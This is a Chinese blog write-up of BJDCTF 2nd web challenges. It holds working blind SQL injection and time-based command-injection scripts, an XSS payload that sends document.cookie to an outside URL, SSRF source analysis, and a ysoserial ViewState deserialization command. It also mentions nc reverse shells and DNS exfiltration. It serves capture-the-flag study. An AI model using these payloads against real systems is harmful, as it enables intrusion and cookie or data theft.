CTF Web安全

BJDCTF 2nd Web题解

Posted on 2020-03-22,15 min read

[BJDCTF 2nd]fake google
模板注入。不多说了。没过滤

这里推荐个工具https://github.com/epinna/tplmap直接拿shell

[BJDCTF 2nd]old-hack
打开是个thinkphp的站

扫目录没东西。想起thinkphp有代码执行的洞

[BJDCTF 2nd]duangShell
首先拿.index.php.swp缓存
vim -r index.php恢复

得到源码。这里直接给出我的payload

import requests
import time
url='http://2d607af7-58ab-4a1c-bd7d-44dd1d9a0958.node3.buuoj.cn/'
s='abcdefghijkmnlopqrstvuwxyz1234567890{}-_+=-'
flag=''
for a in range(1,100):
    for i in s:
        payload={"girl_friend":"if [ `tac /flag|cut -c "+str(a)+"` = "+str(i)+" ];then sleep 5;fi"}
        #print(payload)
        t1=time.time()
        r=requests.post(url=url,data=payload)
        t2=time.time()
        if t2-t1>5:
            print(i)
            flag+=i
            break
print(flag)


还有其他方法。比如nc反弹shell/http数据带出/dns数据带出

[BJDCTF 2nd]简单注入
听名字就知道是注入。
输入单引号双引号都被ban了
访问robots.txt得到hint.txt得到源码

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

那这里直接用\转义掉单引号。单引号就可以逃逸了。然后就是布尔盲注
贴上我的payload:

import requests
import time

url = "http://0b9e86a2-21a7-4cbf-a29e-5f374c93d3fd.node3.buuoj.cn/index.php"
result = []
for k in range(1,20):
    for i in range(65,126):
        payload = {"username":"\\",'password':'or (ascii(substr(password,'+str(k)+',1))>'+str(i)+')#'}
        req = requests.post(url=url,data=payload)
        time.sleep(0.5)
        if "P3" in req.text:
            print(chr(i))
            result.append(chr(i))
            print(result)
            break
print(result)

得到密码登陆。拿到flag

预期解是。通过regexp 和binary配合。拿到密码
以下是Y1ng师傅的脚本

################################
# 颖奇L'Amore www.gem-love.com #
# 转载请勿删除本水印             #
################################
import os
import requests as req

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))

  result = result.replace('0x','')
  return '0x'+result


url = "http://123.57.144.205:2333/"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
headers = {
      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Connection':'keep-alive'
    }

res = ''
for i in range(50):
  for j in string:
    passwd = ord2hex('^'+res+chr(j))
    # print(passwd)
    passwd = 'or password regexp binary {}#'.format(passwd)
    data = {
      'username':"admin\\",
      'password':passwd
    }

    r = req.post(url, data=data, headers=headers)
    # print(r.text)
    if "BJD need" in r.text:
      res += chr(j)
      print(res)
      break

[BJDCTF 2nd]假猪套天下第一
登陆得到hint


发现cookie中有time。修改time

要求localhost访问。Client-ip绕过

要求来源是gem-love.com。Refere绕过

要求用Commodo 64浏览器。UA头

要求用真的commodo 64UA头。

要求电子邮件为root@gem-love.com

要求代理为y1ng.vip

base64解码得到flag

[BJDCTF 2nd]Schrödinger
扫描目录得到test.php需要用户名密码。
主页是个爆破功能。需要输入URL。
将http://5b3fecff-e167-4bd3-914f-be4ca8b44e92.node3.buuoj.cn/test.php输入。开始爆破
看到cookie中。有个base64。解码得到时间戳

尝试将时间戳改为0
进度到了99.然而始终未到100.要等很久。

猜测后台源码为当前时间戳-cookie中的时间戳=进度
这时想起小学数学老师的教导
10-1=9
10--1=11
负负得正。传入一个负数查看结果
输入-99999999
进度过了

点check按钮。得到密码

avxxx。去B站搜下

[BJDCTF 2nd]xss之光
进去就gungungun。。。
扫目录得到git信息泄露

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

估计是反序列化XSS。搜到一篇文章
http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/
用Exception原生类报错造成XSS。直接打cookie

<?php

$a = new Exception("<script>window.location.href='http://www.baidu.com/?cookie=' document.cookie</script>");
echo urlencode(serialize($a));

[BJDCTF 2nd]elementmaster
题目名叫元素大师。
源代码发现

<p hidden id="506F2E">I am the real Element Masterrr!!!!!!</p>
<p hidden id="706870">@颖奇L'Amore</p>

16进制为Po php
访问Po.php存在。
将元素周期表。遍历

import requests
t = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
                  'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
                  'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
                  'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
                  'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
                  'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
                  'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in t:
    r=requests.get('http://db568c08-2f72-4a94-854a-4ffb82e83739.node3.buuoj.cn/'+i+'.php')
    if '404 Not Foun' in r.text:
        pass
    else:
        print (r.text)

得到And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
访问得到flag

[BJDCTF 2nd]文件探测
存在admin.php只允许127.0.0.1访问
在head头。发现了hint:home.php
访问home.php跳转到home.php?file=system
伪协议读取到
system.php

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Detector</title>

    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/demo.css" />

    <link rel="stylesheet" type="text/css" href="css/component.css" />

    <script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">ä½ çŸ¥é“ç›®å½•ä¸‹éƒ½æœ‰ä»€ä¹ˆæ–‡ä»¶å—?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">请输å
¥ä½ 想检测文件å†
容长度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">ä½ å¸Œæœ›ä»¥ä½•ç§æ–¹å¼è®¿é—®ï¼ŸGET?POST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
            <button class="submit" type="submit" value="submit">提交</button>
            <div class="controls">
                <button class="next"></button>
                <div class="progress"></div>
                <span class="number">
					<span class="number-current"></span>
					<span class="number-total"></span>
				</span>
                <span class="error-message"></span>
            </div>
        </div>
        <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
    var theForm = document.getElementById( 'theForm' );

    new stepsForm( theForm, {
        onSubmit : function( form ) {
            classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
            var messageEl = theForm.querySelector( '.final-message' );
            form.submit();
            messageEl.innerHTML = 'Ok...Let me have a check';
            classie.addClass( messageEl, 'show' );
        }
    } );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

home.php

<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href='./home.php?file=system'</script>";
}

首先从home.php审计。是个文件包含。但是只允许包含home和system
并且会对cookie赋值
继续对system.php审计。
接受三个参数q1/q2/q3
会读取q2。然后q3带入sprintf回显。

结合之前的admin.php只允许本地访问。可以造成SSRF。
读取一下。得到源码

 <?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>

开始审计
1。开启session。
2。判断是否是本地访问。如果是本地访问就显示源码。否则就403(这里没有直接Die退出。可以继续执行下面的代码。我憨憨了。在这卡了一天一夜。没发现。所有东西都想SSRF去了)
3。判断是否存在decrypt参数。赋值给$decr
4。判断cookie赋值。这个在home.php中会自动赋值
5。将session中的密钥带入aesEn函数进行加密。
6。判断输入和加密结果是否一致
。。下面就很简单了
构造密钥为空。那么aesEn函数是aesEn('','y1ng')
本地跑下就能知道结果

得到密钥。删除PHPSESSION。URL编码。得到flag

[BJDCTF 2nd]EasyAspDotNet
首先图片的URL。可以知道这是个任意文件读取。然后搜到关键文件Web.config
至此。得到源码和web.config。

页面中发现两个隐藏的值。搜了下有个反序列化漏洞

照着嘶吼的一篇文章复现。没复现成功。
赛后赵总给出了个博客
https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/
构造里面的payload即可。。修改key

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dll/System.dll;./dll/System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5"

得到反序列化的PAYLOAD
URL编码其中的加号等
替换执行命令

下一篇: [GWCTF 2019]你的名字(SSTI)→